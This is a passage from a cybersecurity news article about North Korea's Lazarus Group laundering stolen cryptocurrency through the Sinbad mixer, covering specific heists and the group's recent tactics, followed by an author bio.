All told, Lazarus, which has been active for more than 10 years, is believed to have stolen more than $2 billion worth of digital assets across multiple cryptocurrency heists, according to the US government.

Sinbad, which operates on the Bitcoin blockchain, has been one of the primary facilitators of the trafficking of these funds as the group's preferred mixing service. The service, which some security experts believe is the successor to Blender, aids cybercriminal transactions by obfuscating their origin, destination, and counterparties, so they are difficult to track.

Some of the larger sums that Lazarus has laundered through the crypto mixer include "a significant portion" of the following crypto heists: $100 million stolen in June from customers of Atomic Wallet; $620 million stolen from Axie Infinity in March 2022; and $100 million nabbed from Horizon Bridge in June 2022. 

Despite being sanctioned and constantly monitored by security researchers and global authorities alike, Lazarus remains undaunted and shows little sign of slowing down. Some of the group's most recent activity includes posing as Meta to deploy a complex backdoor at an aerospace organization, and aiming to lure crypto pros with fake job postings — the latter a common tactic of the group.

There are signs that the mounting pressure on the group has affected them, though. Lazarus recently aligned with other North Korean state-sponsored threat actors to make them collectively harder to track. However, this collaboration also sets the stage for more aggressive and complex cyberattacks that will demand strategic defense and response on the part of targets.

**About the Author(s)**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Tag

#cisco